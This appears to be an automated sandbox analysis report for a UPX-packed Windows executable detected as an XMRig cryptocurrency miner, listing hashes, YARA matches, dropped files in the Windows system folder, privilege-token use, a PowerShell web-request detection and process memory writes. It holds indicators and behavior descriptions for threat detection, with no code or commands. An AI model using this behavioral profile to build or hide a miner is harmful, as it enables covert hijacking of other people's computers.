xmrig | 9ca9210500098a3b914ee73d009c35d22fc6d9296ef37496d0c6ea5a058063d4

Analysis

max time kernel
149s
max time network
142s
platform
windows7_x64
resource
win7-20240221-en
resource tags

arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
submitted
07/05/2024, 05:58

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

7a7345f9ad0dbb2c0a6d2a553be9a010_NEAS.exe
Size

3.6MB
MD5

7a7345f9ad0dbb2c0a6d2a553be9a010
SHA1

db65372372b196c7491191e6b3f50cbb2cfbfd93
SHA256

9ca9210500098a3b914ee73d009c35d22fc6d9296ef37496d0c6ea5a058063d4
SHA512

03df98d5e9317a612226a620e54382a9fb11837a1d7331ede95ca93fce27cd77f99c34ac77c81fa6a0ec4922d4538f655a45fd86624a3539cad18926fa6e51bc
SSDEEP

98304:S1ONtyBeSFkXV1etEKLlWUTOfeiRA2R76zHrWu:SbBeSFka

Score

10^/10

xmrig execution miner upx

Malware Config

Signatures

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 55 IoCs

miner

resource	yara_rule
behavioral1/memory/2168-0-0x000000013F320000-0x000000013F716000-memory.dmp	xmrig
behavioral1/files/0x000e000000014708-6.dat	xmrig
behavioral1/files/0x0034000000015eaf-9.dat	xmrig
behavioral1/memory/2516-13-0x000000013F760000-0x000000013FB56000-memory.dmp	xmrig
behavioral1/memory/2684-19-0x000000013FEE0000-0x00000001402D6000-memory.dmp	xmrig
behavioral1/files/0x000800000001630b-11.dat	xmrig
behavioral1/files/0x0007000000004e76-26.dat	xmrig
behavioral1/files/0x000800000001661c-34.dat	xmrig
behavioral1/files/0x0006000000016e94-53.dat	xmrig
behavioral1/files/0x0006000000017052-63.dat	xmrig
behavioral1/files/0x00060000000173d5-68.dat	xmrig
behavioral1/files/0x0006000000017456-83.dat	xmrig
behavioral1/files/0x000600000001749c-98.dat	xmrig
behavioral1/files/0x000900000001864e-108.dat	xmrig
behavioral1/files/0x00060000000190b6-148.dat	xmrig
behavioral1/memory/2168-1473-0x000000013FD00000-0x00000001400F6000-memory.dmp	xmrig
behavioral1/memory/2504-1467-0x000000013FCD0000-0x00000001400C6000-memory.dmp	xmrig
behavioral1/memory/2412-1499-0x000000013FD00000-0x00000001400F6000-memory.dmp	xmrig
behavioral1/memory/2168-1611-0x000000013F890000-0x000000013FC86000-memory.dmp	xmrig
behavioral1/memory/2416-1589-0x000000013F8D0000-0x000000013FCC6000-memory.dmp	xmrig
behavioral1/memory/2168-1555-0x000000013F8D0000-0x000000013FCC6000-memory.dmp	xmrig
behavioral1/memory/2100-1664-0x000000013F890000-0x000000013FC86000-memory.dmp	xmrig
behavioral1/memory/1560-1670-0x000000013FCC0000-0x00000001400B6000-memory.dmp	xmrig
behavioral1/memory/2456-1699-0x000000013F4A0000-0x000000013F896000-memory.dmp	xmrig
behavioral1/memory/2592-1728-0x000000013F2B0000-0x000000013F6A6000-memory.dmp	xmrig
behavioral1/memory/2284-1600-0x000000013F020000-0x000000013F416000-memory.dmp	xmrig
behavioral1/memory/2312-1552-0x000000013F360000-0x000000013F756000-memory.dmp	xmrig
behavioral1/memory/2560-1535-0x000000013F150000-0x000000013F546000-memory.dmp	xmrig
behavioral1/files/0x0005000000019215-168.dat	xmrig
behavioral1/files/0x00050000000191ed-163.dat	xmrig
behavioral1/files/0x00050000000191cd-158.dat	xmrig
behavioral1/files/0x00050000000191a7-153.dat	xmrig
behavioral1/files/0x0006000000019021-143.dat	xmrig
behavioral1/files/0x0006000000018f3a-138.dat	xmrig
behavioral1/files/0x0006000000018c1a-133.dat	xmrig
behavioral1/files/0x0006000000018c0a-128.dat	xmrig
behavioral1/files/0x0005000000018778-123.dat	xmrig
behavioral1/files/0x000500000001866d-118.dat	xmrig
behavioral1/files/0x000500000001866b-113.dat	xmrig
behavioral1/files/0x0006000000017556-103.dat	xmrig
behavioral1/files/0x000600000001747d-93.dat	xmrig
behavioral1/files/0x000600000001745e-88.dat	xmrig
behavioral1/files/0x00060000000173e0-78.dat	xmrig
behavioral1/files/0x00060000000173d8-73.dat	xmrig
behavioral1/files/0x0006000000016eb2-58.dat	xmrig
behavioral1/files/0x0008000000016dbf-48.dat	xmrig
behavioral1/files/0x0009000000016a9a-44.dat	xmrig
behavioral1/files/0x0007000000016843-38.dat	xmrig
behavioral1/memory/2168-3638-0x000000013F320000-0x000000013F716000-memory.dmp	xmrig
behavioral1/memory/2168-4008-0x000000013FCC0000-0x00000001400B6000-memory.dmp	xmrig
behavioral1/memory/2168-4000-0x000000013F8D0000-0x000000013FCC6000-memory.dmp	xmrig
behavioral1/memory/2168-3983-0x000000013FD00000-0x00000001400F6000-memory.dmp	xmrig
behavioral1/memory/2456-4199-0x000000013F4A0000-0x000000013F896000-memory.dmp	xmrig
behavioral1/memory/2412-4185-0x000000013FD00000-0x00000001400F6000-memory.dmp	xmrig
behavioral1/memory/2284-4206-0x000000013F020000-0x000000013F416000-memory.dmp	xmrig

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Powershell Invoke Web Request.

execution

PowerShell

T1059.001

pid	Process
2480	powershell.exe

Executes dropped EXE 64 IoCs

pid	Process
2516	CMbuBce.exe
2684	oucdIEY.exe
2504	ddwMTEo.exe
2412	aFDfJND.exe
2560	nccvfRA.exe
2312	RZNgqTs.exe
2416	qamwUZw.exe
2284	YvMwReT.exe
2100	LlakbFt.exe
1560	xwQNbEM.exe
2456	GvUAVbg.exe
2592	zUzaLjU.exe
2700	zpHgbgV.exe
2776	zvUqLui.exe
2272	OHLJkgH.exe
356	NcvXgFS.exe
1888	epNXNpw.exe
1876	imEdVgC.exe
1600	xCcypDj.exe
2280	zaxRkDE.exe
1536	gfsWXNs.exe
268	vWhytSq.exe
1064	Jmpkodc.exe
1292	VKPOKWM.exe
624	pGZCaQc.exe
1196	Otjfvdt.exe
2204	AKhWZFm.exe
2424	gDuNqou.exe
1704	crAuEgi.exe
2792	NClRghU.exe
2340	CoNmTlJ.exe
2092	sZokfkK.exe
428	RXupVVt.exe
3032	EnBVWvq.exe
2084	SsEHqrb.exe
1244	IbdQjzN.exe
1464	Gusrols.exe
1336	HTWBTjM.exe
1308	RPboYer.exe
240	jpzpwSS.exe
988	ReZHWJq.exe
904	cPKyTzK.exe
1112	yFyrWjZ.exe
2240	nmLNPIB.exe
1472	OFrSirP.exe
2964	JsTrllV.exe
1368	yZefshO.exe
2028	NGikFzJ.exe
1256	oJHJgMx.exe
2472	iPHpTfz.exe
1432	zzRuVoH.exe
1856	ZPTlukA.exe
1944	tOAFmZU.exe
2468	cGFyCQD.exe
1520	RekLmzU.exe
2492	wFrLyrv.exe
2512	vXzjpzO.exe
2708	ufjqbKf.exe
2524	UgdeisD.exe
2380	kNqqzgQ.exe
2464	zkmEDAI.exe
3024	hsVNAdn.exe
2476	WAPrDHR.exe
2696	EQKxiSG.exe

Loads dropped DLL 64 IoCs

pid	Process
2168	7a7345f9ad0dbb2c0a6d2a553be9a010_NEAS.exe
2168	7a7345f9ad0dbb2c0a6d2a553be9a010_NEAS.exe
2168	7a7345f9ad0dbb2c0a6d2a553be9a010_NEAS.exe
2168	7a7345f9ad0dbb2c0a6d2a553be9a010_NEAS.exe
2168	7a7345f9ad0dbb2c0a6d2a553be9a010_NEAS.exe
2168	7a7345f9ad0dbb2c0a6d2a553be9a010_NEAS.exe
2168	7a7345f9ad0dbb2c0a6d2a553be9a010_NEAS.exe
2168	7a7345f9ad0dbb2c0a6d2a553be9a010_NEAS.exe
2168	7a7345f9ad0dbb2c0a6d2a553be9a010_NEAS.exe
2168	7a7345f9ad0dbb2c0a6d2a553be9a010_NEAS.exe
2168	7a7345f9ad0dbb2c0a6d2a553be9a010_NEAS.exe
2168	7a7345f9ad0dbb2c0a6d2a553be9a010_NEAS.exe
2168	7a7345f9ad0dbb2c0a6d2a553be9a010_NEAS.exe
2168	7a7345f9ad0dbb2c0a6d2a553be9a010_NEAS.exe
2168	7a7345f9ad0dbb2c0a6d2a553be9a010_NEAS.exe
2168	7a7345f9ad0dbb2c0a6d2a553be9a010_NEAS.exe
2168	7a7345f9ad0dbb2c0a6d2a553be9a010_NEAS.exe
2168	7a7345f9ad0dbb2c0a6d2a553be9a010_NEAS.exe
2168	7a7345f9ad0dbb2c0a6d2a553be9a010_NEAS.exe
2168	7a7345f9ad0dbb2c0a6d2a553be9a010_NEAS.exe
2168	7a7345f9ad0dbb2c0a6d2a553be9a010_NEAS.exe
2168	7a7345f9ad0dbb2c0a6d2a553be9a010_NEAS.exe
2168	7a7345f9ad0dbb2c0a6d2a553be9a010_NEAS.exe
2168	7a7345f9ad0dbb2c0a6d2a553be9a010_NEAS.exe
2168	7a7345f9ad0dbb2c0a6d2a553be9a010_NEAS.exe
2168	7a7345f9ad0dbb2c0a6d2a553be9a010_NEAS.exe
2168	7a7345f9ad0dbb2c0a6d2a553be9a010_NEAS.exe
2168	7a7345f9ad0dbb2c0a6d2a553be9a010_NEAS.exe
2168	7a7345f9ad0dbb2c0a6d2a553be9a010_NEAS.exe
2168	7a7345f9ad0dbb2c0a6d2a553be9a010_NEAS.exe
2168	7a7345f9ad0dbb2c0a6d2a553be9a010_NEAS.exe
2168	7a7345f9ad0dbb2c0a6d2a553be9a010_NEAS.exe
2168	7a7345f9ad0dbb2c0a6d2a553be9a010_NEAS.exe
2168	7a7345f9ad0dbb2c0a6d2a553be9a010_NEAS.exe
2168	7a7345f9ad0dbb2c0a6d2a553be9a010_NEAS.exe
2168	7a7345f9ad0dbb2c0a6d2a553be9a010_NEAS.exe
2168	7a7345f9ad0dbb2c0a6d2a553be9a010_NEAS.exe
2168	7a7345f9ad0dbb2c0a6d2a553be9a010_NEAS.exe
2168	7a7345f9ad0dbb2c0a6d2a553be9a010_NEAS.exe
2168	7a7345f9ad0dbb2c0a6d2a553be9a010_NEAS.exe
2168	7a7345f9ad0dbb2c0a6d2a553be9a010_NEAS.exe
2168	7a7345f9ad0dbb2c0a6d2a553be9a010_NEAS.exe
2168	7a7345f9ad0dbb2c0a6d2a553be9a010_NEAS.exe
2168	7a7345f9ad0dbb2c0a6d2a553be9a010_NEAS.exe
2168	7a7345f9ad0dbb2c0a6d2a553be9a010_NEAS.exe
2168	7a7345f9ad0dbb2c0a6d2a553be9a010_NEAS.exe
2168	7a7345f9ad0dbb2c0a6d2a553be9a010_NEAS.exe
2168	7a7345f9ad0dbb2c0a6d2a553be9a010_NEAS.exe
2168	7a7345f9ad0dbb2c0a6d2a553be9a010_NEAS.exe
2168	7a7345f9ad0dbb2c0a6d2a553be9a010_NEAS.exe
2168	7a7345f9ad0dbb2c0a6d2a553be9a010_NEAS.exe
2168	7a7345f9ad0dbb2c0a6d2a553be9a010_NEAS.exe
2168	7a7345f9ad0dbb2c0a6d2a553be9a010_NEAS.exe
2168	7a7345f9ad0dbb2c0a6d2a553be9a010_NEAS.exe
2168	7a7345f9ad0dbb2c0a6d2a553be9a010_NEAS.exe
2168	7a7345f9ad0dbb2c0a6d2a553be9a010_NEAS.exe
2168	7a7345f9ad0dbb2c0a6d2a553be9a010_NEAS.exe
2168	7a7345f9ad0dbb2c0a6d2a553be9a010_NEAS.exe
2168	7a7345f9ad0dbb2c0a6d2a553be9a010_NEAS.exe
2168	7a7345f9ad0dbb2c0a6d2a553be9a010_NEAS.exe
2168	7a7345f9ad0dbb2c0a6d2a553be9a010_NEAS.exe
2168	7a7345f9ad0dbb2c0a6d2a553be9a010_NEAS.exe
2168	7a7345f9ad0dbb2c0a6d2a553be9a010_NEAS.exe
2168	7a7345f9ad0dbb2c0a6d2a553be9a010_NEAS.exe

UPX packed file 49 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/2168-0-0x000000013F320000-0x000000013F716000-memory.dmp	upx
behavioral1/files/0x000e000000014708-6.dat	upx
behavioral1/files/0x0034000000015eaf-9.dat	upx
behavioral1/memory/2516-13-0x000000013F760000-0x000000013FB56000-memory.dmp	upx
behavioral1/memory/2684-19-0x000000013FEE0000-0x00000001402D6000-memory.dmp	upx
behavioral1/files/0x000800000001630b-11.dat	upx
behavioral1/files/0x0007000000004e76-26.dat	upx
behavioral1/files/0x000800000001661c-34.dat	upx
behavioral1/files/0x0006000000016e94-53.dat	upx
behavioral1/files/0x0006000000017052-63.dat	upx
behavioral1/files/0x00060000000173d5-68.dat	upx
behavioral1/files/0x0006000000017456-83.dat	upx
behavioral1/files/0x000600000001749c-98.dat	upx
behavioral1/files/0x000900000001864e-108.dat	upx
behavioral1/files/0x00060000000190b6-148.dat	upx
behavioral1/memory/2504-1467-0x000000013FCD0000-0x00000001400C6000-memory.dmp	upx
behavioral1/memory/2412-1499-0x000000013FD00000-0x00000001400F6000-memory.dmp	upx
behavioral1/memory/2416-1589-0x000000013F8D0000-0x000000013FCC6000-memory.dmp	upx
behavioral1/memory/2100-1664-0x000000013F890000-0x000000013FC86000-memory.dmp	upx
behavioral1/memory/1560-1670-0x000000013FCC0000-0x00000001400B6000-memory.dmp	upx
behavioral1/memory/2456-1699-0x000000013F4A0000-0x000000013F896000-memory.dmp	upx
behavioral1/memory/2592-1728-0x000000013F2B0000-0x000000013F6A6000-memory.dmp	upx
behavioral1/memory/2284-1600-0x000000013F020000-0x000000013F416000-memory.dmp	upx
behavioral1/memory/2312-1552-0x000000013F360000-0x000000013F756000-memory.dmp	upx
behavioral1/memory/2560-1535-0x000000013F150000-0x000000013F546000-memory.dmp	upx
behavioral1/files/0x0005000000019215-168.dat	upx
behavioral1/files/0x00050000000191ed-163.dat	upx
behavioral1/files/0x00050000000191cd-158.dat	upx
behavioral1/files/0x00050000000191a7-153.dat	upx
behavioral1/files/0x0006000000019021-143.dat	upx
behavioral1/files/0x0006000000018f3a-138.dat	upx
behavioral1/files/0x0006000000018c1a-133.dat	upx
behavioral1/files/0x0006000000018c0a-128.dat	upx
behavioral1/files/0x0005000000018778-123.dat	upx
behavioral1/files/0x000500000001866d-118.dat	upx
behavioral1/files/0x000500000001866b-113.dat	upx
behavioral1/files/0x0006000000017556-103.dat	upx
behavioral1/files/0x000600000001747d-93.dat	upx
behavioral1/files/0x000600000001745e-88.dat	upx
behavioral1/files/0x00060000000173e0-78.dat	upx
behavioral1/files/0x00060000000173d8-73.dat	upx
behavioral1/files/0x0006000000016eb2-58.dat	upx
behavioral1/files/0x0008000000016dbf-48.dat	upx
behavioral1/files/0x0009000000016a9a-44.dat	upx
behavioral1/files/0x0007000000016843-38.dat	upx
behavioral1/memory/2168-3638-0x000000013F320000-0x000000013F716000-memory.dmp	upx
behavioral1/memory/2456-4199-0x000000013F4A0000-0x000000013F896000-memory.dmp	upx
behavioral1/memory/2412-4185-0x000000013FD00000-0x00000001400F6000-memory.dmp	upx
behavioral1/memory/2284-4206-0x000000013F020000-0x000000013F416000-memory.dmp	upx

Drops file in Windows directory 64 IoCs

description	ioc	Process
File created	C:\Windows\System\CIESxqk.exe	7a7345f9ad0dbb2c0a6d2a553be9a010_NEAS.exe
File created	C:\Windows\System\CMfOMck.exe	7a7345f9ad0dbb2c0a6d2a553be9a010_NEAS.exe
File created	C:\Windows\System\dQeXren.exe	7a7345f9ad0dbb2c0a6d2a553be9a010_NEAS.exe
File created	C:\Windows\System\VlmORel.exe	7a7345f9ad0dbb2c0a6d2a553be9a010_NEAS.exe
File created	C:\Windows\System\HytzKhB.exe	7a7345f9ad0dbb2c0a6d2a553be9a010_NEAS.exe
File created	C:\Windows\System\JhHhLUV.exe	7a7345f9ad0dbb2c0a6d2a553be9a010_NEAS.exe
File created	C:\Windows\System\uiXqUTj.exe	7a7345f9ad0dbb2c0a6d2a553be9a010_NEAS.exe
File created	C:\Windows\System\pKWWfZg.exe	7a7345f9ad0dbb2c0a6d2a553be9a010_NEAS.exe
File created	C:\Windows\System\ZZKtptt.exe	7a7345f9ad0dbb2c0a6d2a553be9a010_NEAS.exe
File created	C:\Windows\System\zvkrxUw.exe	7a7345f9ad0dbb2c0a6d2a553be9a010_NEAS.exe
File created	C:\Windows\System\duAkhfD.exe	7a7345f9ad0dbb2c0a6d2a553be9a010_NEAS.exe
File created	C:\Windows\System\VxmsKiS.exe	7a7345f9ad0dbb2c0a6d2a553be9a010_NEAS.exe
File created	C:\Windows\System\nAkoEtc.exe	7a7345f9ad0dbb2c0a6d2a553be9a010_NEAS.exe
File created	C:\Windows\System\EnffqzJ.exe	7a7345f9ad0dbb2c0a6d2a553be9a010_NEAS.exe
File created	C:\Windows\System\psmSTSi.exe	7a7345f9ad0dbb2c0a6d2a553be9a010_NEAS.exe
File created	C:\Windows\System\abIdCnc.exe	7a7345f9ad0dbb2c0a6d2a553be9a010_NEAS.exe
File created	C:\Windows\System\vTmjWls.exe	7a7345f9ad0dbb2c0a6d2a553be9a010_NEAS.exe
File created	C:\Windows\System\VssVJeo.exe	7a7345f9ad0dbb2c0a6d2a553be9a010_NEAS.exe
File created	C:\Windows\System\cPumvoz.exe	7a7345f9ad0dbb2c0a6d2a553be9a010_NEAS.exe
File created	C:\Windows\System\rzjXrSA.exe	7a7345f9ad0dbb2c0a6d2a553be9a010_NEAS.exe
File created	C:\Windows\System\JOOFLIQ.exe	7a7345f9ad0dbb2c0a6d2a553be9a010_NEAS.exe
File created	C:\Windows\System\aPXovCp.exe	7a7345f9ad0dbb2c0a6d2a553be9a010_NEAS.exe
File created	C:\Windows\System\kSMXHKt.exe	7a7345f9ad0dbb2c0a6d2a553be9a010_NEAS.exe
File created	C:\Windows\System\crwVYUb.exe	7a7345f9ad0dbb2c0a6d2a553be9a010_NEAS.exe
File created	C:\Windows\System\KGAnlAj.exe	7a7345f9ad0dbb2c0a6d2a553be9a010_NEAS.exe
File created	C:\Windows\System\SSUPHOT.exe	7a7345f9ad0dbb2c0a6d2a553be9a010_NEAS.exe
File created	C:\Windows\System\AVpbllZ.exe	7a7345f9ad0dbb2c0a6d2a553be9a010_NEAS.exe
File created	C:\Windows\System\QKDBFov.exe	7a7345f9ad0dbb2c0a6d2a553be9a010_NEAS.exe
File created	C:\Windows\System\ksvJYKR.exe	7a7345f9ad0dbb2c0a6d2a553be9a010_NEAS.exe
File created	C:\Windows\System\szZfVrz.exe	7a7345f9ad0dbb2c0a6d2a553be9a010_NEAS.exe
File created	C:\Windows\System\pZVDCJx.exe	7a7345f9ad0dbb2c0a6d2a553be9a010_NEAS.exe
File created	C:\Windows\System\ESJDxhr.exe	7a7345f9ad0dbb2c0a6d2a553be9a010_NEAS.exe
File created	C:\Windows\System\nPaeKmw.exe	7a7345f9ad0dbb2c0a6d2a553be9a010_NEAS.exe
File created	C:\Windows\System\kDDemPh.exe	7a7345f9ad0dbb2c0a6d2a553be9a010_NEAS.exe
File created	C:\Windows\System\aItTqIQ.exe	7a7345f9ad0dbb2c0a6d2a553be9a010_NEAS.exe
File created	C:\Windows\System\XyOSFqV.exe	7a7345f9ad0dbb2c0a6d2a553be9a010_NEAS.exe
File created	C:\Windows\System\FCAdhpi.exe	7a7345f9ad0dbb2c0a6d2a553be9a010_NEAS.exe
File created	C:\Windows\System\WuHLjMr.exe	7a7345f9ad0dbb2c0a6d2a553be9a010_NEAS.exe
File created	C:\Windows\System\eljjibY.exe	7a7345f9ad0dbb2c0a6d2a553be9a010_NEAS.exe
File created	C:\Windows\System\yvEdNwc.exe	7a7345f9ad0dbb2c0a6d2a553be9a010_NEAS.exe
File created	C:\Windows\System\HAKnASv.exe	7a7345f9ad0dbb2c0a6d2a553be9a010_NEAS.exe
File created	C:\Windows\System\qNNVYGm.exe	7a7345f9ad0dbb2c0a6d2a553be9a010_NEAS.exe
File created	C:\Windows\System\ydYlmCh.exe	7a7345f9ad0dbb2c0a6d2a553be9a010_NEAS.exe
File created	C:\Windows\System\XItYIIw.exe	7a7345f9ad0dbb2c0a6d2a553be9a010_NEAS.exe
File created	C:\Windows\System\bHmWaDC.exe	7a7345f9ad0dbb2c0a6d2a553be9a010_NEAS.exe
File created	C:\Windows\System\ufYyEWY.exe	7a7345f9ad0dbb2c0a6d2a553be9a010_NEAS.exe
File created	C:\Windows\System\VUILHxe.exe	7a7345f9ad0dbb2c0a6d2a553be9a010_NEAS.exe
File created	C:\Windows\System\EWvoKdR.exe	7a7345f9ad0dbb2c0a6d2a553be9a010_NEAS.exe
File created	C:\Windows\System\iLPIooP.exe	7a7345f9ad0dbb2c0a6d2a553be9a010_NEAS.exe
File created	C:\Windows\System\MlbjBzO.exe	7a7345f9ad0dbb2c0a6d2a553be9a010_NEAS.exe
File created	C:\Windows\System\ImpSjao.exe	7a7345f9ad0dbb2c0a6d2a553be9a010_NEAS.exe
File created	C:\Windows\System\rrXEklZ.exe	7a7345f9ad0dbb2c0a6d2a553be9a010_NEAS.exe
File created	C:\Windows\System\pYBtYTs.exe	7a7345f9ad0dbb2c0a6d2a553be9a010_NEAS.exe
File created	C:\Windows\System\lBmZcDD.exe	7a7345f9ad0dbb2c0a6d2a553be9a010_NEAS.exe
File created	C:\Windows\System\GRJaJts.exe	7a7345f9ad0dbb2c0a6d2a553be9a010_NEAS.exe
File created	C:\Windows\System\bAsBYJx.exe	7a7345f9ad0dbb2c0a6d2a553be9a010_NEAS.exe
File created	C:\Windows\System\nxBESQL.exe	7a7345f9ad0dbb2c0a6d2a553be9a010_NEAS.exe
File created	C:\Windows\System\UJlVKaF.exe	7a7345f9ad0dbb2c0a6d2a553be9a010_NEAS.exe
File created	C:\Windows\System\bjLdJgh.exe	7a7345f9ad0dbb2c0a6d2a553be9a010_NEAS.exe
File created	C:\Windows\System\JmaliDM.exe	7a7345f9ad0dbb2c0a6d2a553be9a010_NEAS.exe
File created	C:\Windows\System\BqcGOuq.exe	7a7345f9ad0dbb2c0a6d2a553be9a010_NEAS.exe
File created	C:\Windows\System\OCEEGXi.exe	7a7345f9ad0dbb2c0a6d2a553be9a010_NEAS.exe
File created	C:\Windows\System\hiecJBe.exe	7a7345f9ad0dbb2c0a6d2a553be9a010_NEAS.exe
File created	C:\Windows\System\ubOfLUy.exe	7a7345f9ad0dbb2c0a6d2a553be9a010_NEAS.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2480	powershell.exe
2480	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeLockMemoryPrivilege	2168	7a7345f9ad0dbb2c0a6d2a553be9a010_NEAS.exe
Token: SeLockMemoryPrivilege	2168	7a7345f9ad0dbb2c0a6d2a553be9a010_NEAS.exe
Token: SeDebugPrivilege	2480	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2168 wrote to memory of 2480	2168	7a7345f9ad0dbb2c0a6d2a553be9a010_NEAS.exe	29
PID 2168 wrote to memory of 2480	2168	7a7345f9ad0dbb2c0a6d2a553be9a010_NEAS.exe	29
PID 2168 wrote to memory of 2480	2168	7a7345f9ad0dbb2c0a6d2a553be9a010_NEAS.exe	29
PID 2168 wrote to memory of 2516	2168	7a7345f9ad0dbb2c0a6d2a553be9a010_NEAS.exe	30
PID 2168 wrote to memory of 2516	2168	7a7345f9ad0dbb2c0a6d2a553be9a010_NEAS.exe	30
PID 2168 wrote to memory of 2516	2168	7a7345f9ad0dbb2c0a6d2a553be9a010_NEAS.exe	30
PID 2168 wrote to memory of 2684	2168	7a7345f9ad0dbb2c0a6d2a553be9a010_NEAS.exe	31
PID 2168 wrote to memory of 2684	2168	7a7345f9ad0dbb2c0a6d2a553be9a010_NEAS.exe	31
PID 2168 wrote to memory of 2684	2168	7a7345f9ad0dbb2c0a6d2a553be9a010_NEAS.exe	31
PID 2168 wrote to memory of 2504	2168	7a7345f9ad0dbb2c0a6d2a553be9a010_NEAS.exe	32
PID 2168 wrote to memory of 2504	2168	7a7345f9ad0dbb2c0a6d2a553be9a010_NEAS.exe	32
PID 2168 wrote to memory of 2504	2168	7a7345f9ad0dbb2c0a6d2a553be9a010_NEAS.exe	32
PID 2168 wrote to memory of 2412	2168	7a7345f9ad0dbb2c0a6d2a553be9a010_NEAS.exe	33
PID 2168 wrote to memory of 2412	2168	7a7345f9ad0dbb2c0a6d2a553be9a010_NEAS.exe	33
PID 2168 wrote to memory of 2412	2168	7a7345f9ad0dbb2c0a6d2a553be9a010_NEAS.exe	33
PID 2168 wrote to memory of 2560	2168	7a7345f9ad0dbb2c0a6d2a553be9a010_NEAS.exe	34
PID 2168 wrote to memory of 2560	2168	7a7345f9ad0dbb2c0a6d2a553be9a010_NEAS.exe	34
PID 2168 wrote to memory of 2560	2168	7a7345f9ad0dbb2c0a6d2a553be9a010_NEAS.exe	34
PID 2168 wrote to memory of 2312	2168	7a7345f9ad0dbb2c0a6d2a553be9a010_NEAS.exe	35
PID 2168 wrote to memory of 2312	2168	7a7345f9ad0dbb2c0a6d2a553be9a010_NEAS.exe	35
PID 2168 wrote to memory of 2312	2168	7a7345f9ad0dbb2c0a6d2a553be9a010_NEAS.exe	35
PID 2168 wrote to memory of 2416	2168	7a7345f9ad0dbb2c0a6d2a553be9a010_NEAS.exe	36
PID 2168 wrote to memory of 2416	2168	7a7345f9ad0dbb2c0a6d2a553be9a010_NEAS.exe	36
PID 2168 wrote to memory of 2416	2168	7a7345f9ad0dbb2c0a6d2a553be9a010_NEAS.exe	36
PID 2168 wrote to memory of 2284	2168	7a7345f9ad0dbb2c0a6d2a553be9a010_NEAS.exe	37
PID 2168 wrote to memory of 2284	2168	7a7345f9ad0dbb2c0a6d2a553be9a010_NEAS.exe	37
PID 2168 wrote to memory of 2284	2168	7a7345f9ad0dbb2c0a6d2a553be9a010_NEAS.exe	37
PID 2168 wrote to memory of 2100	2168	7a7345f9ad0dbb2c0a6d2a553be9a010_NEAS.exe	38
PID 2168 wrote to memory of 2100	2168	7a7345f9ad0dbb2c0a6d2a553be9a010_NEAS.exe	38
PID 2168 wrote to memory of 2100	2168	7a7345f9ad0dbb2c0a6d2a553be9a010_NEAS.exe	38
PID 2168 wrote to memory of 1560	2168	7a7345f9ad0dbb2c0a6d2a553be9a010_NEAS.exe	39
PID 2168 wrote to memory of 1560	2168	7a7345f9ad0dbb2c0a6d2a553be9a010_NEAS.exe	39
PID 2168 wrote to memory of 1560	2168	7a7345f9ad0dbb2c0a6d2a553be9a010_NEAS.exe	39
PID 2168 wrote to memory of 2456	2168	7a7345f9ad0dbb2c0a6d2a553be9a010_NEAS.exe	40
PID 2168 wrote to memory of 2456	2168	7a7345f9ad0dbb2c0a6d2a553be9a010_NEAS.exe	40
PID 2168 wrote to memory of 2456	2168	7a7345f9ad0dbb2c0a6d2a553be9a010_NEAS.exe	40
PID 2168 wrote to memory of 2592	2168	7a7345f9ad0dbb2c0a6d2a553be9a010_NEAS.exe	41
PID 2168 wrote to memory of 2592	2168	7a7345f9ad0dbb2c0a6d2a553be9a010_NEAS.exe	41
PID 2168 wrote to memory of 2592	2168	7a7345f9ad0dbb2c0a6d2a553be9a010_NEAS.exe	41
PID 2168 wrote to memory of 2700	2168	7a7345f9ad0dbb2c0a6d2a553be9a010_NEAS.exe	42
PID 2168 wrote to memory of 2700	2168	7a7345f9ad0dbb2c0a6d2a553be9a010_NEAS.exe	42
PID 2168 wrote to memory of 2700	2168	7a7345f9ad0dbb2c0a6d2a553be9a010_NEAS.exe	42
PID 2168 wrote to memory of 2776	2168	7a7345f9ad0dbb2c0a6d2a553be9a010_NEAS.exe	43
PID 2168 wrote to memory of 2776	2168	7a7345f9ad0dbb2c0a6d2a553be9a010_NEAS.exe	43
PID 2168 wrote to memory of 2776	2168	7a7345f9ad0dbb2c0a6d2a553be9a010_NEAS.exe	43
PID 2168 wrote to memory of 2272	2168	7a7345f9ad0dbb2c0a6d2a553be9a010_NEAS.exe	44
PID 2168 wrote to memory of 2272	2168	7a7345f9ad0dbb2c0a6d2a553be9a010_NEAS.exe	44
PID 2168 wrote to memory of 2272	2168	7a7345f9ad0dbb2c0a6d2a553be9a010_NEAS.exe	44
PID 2168 wrote to memory of 356	2168	7a7345f9ad0dbb2c0a6d2a553be9a010_NEAS.exe	45
PID 2168 wrote to memory of 356	2168	7a7345f9ad0dbb2c0a6d2a553be9a010_NEAS.exe	45
PID 2168 wrote to memory of 356	2168	7a7345f9ad0dbb2c0a6d2a553be9a010_NEAS.exe	45
PID 2168 wrote to memory of 1888	2168	7a7345f9ad0dbb2c0a6d2a553be9a010_NEAS.exe	46
PID 2168 wrote to memory of 1888	2168	7a7345f9ad0dbb2c0a6d2a553be9a010_NEAS.exe	46
PID 2168 wrote to memory of 1888	2168	7a7345f9ad0dbb2c0a6d2a553be9a010_NEAS.exe	46
PID 2168 wrote to memory of 1876	2168	7a7345f9ad0dbb2c0a6d2a553be9a010_NEAS.exe	47
PID 2168 wrote to memory of 1876	2168	7a7345f9ad0dbb2c0a6d2a553be9a010_NEAS.exe	47
PID 2168 wrote to memory of 1876	2168	7a7345f9ad0dbb2c0a6d2a553be9a010_NEAS.exe	47
PID 2168 wrote to memory of 1600	2168	7a7345f9ad0dbb2c0a6d2a553be9a010_NEAS.exe	48
PID 2168 wrote to memory of 1600	2168	7a7345f9ad0dbb2c0a6d2a553be9a010_NEAS.exe	48
PID 2168 wrote to memory of 1600	2168	7a7345f9ad0dbb2c0a6d2a553be9a010_NEAS.exe	48
PID 2168 wrote to memory of 2280	2168	7a7345f9ad0dbb2c0a6d2a553be9a010_NEAS.exe	49
PID 2168 wrote to memory of 2280	2168	7a7345f9ad0dbb2c0a6d2a553be9a010_NEAS.exe	49
PID 2168 wrote to memory of 2280	2168	7a7345f9ad0dbb2c0a6d2a553be9a010_NEAS.exe	49
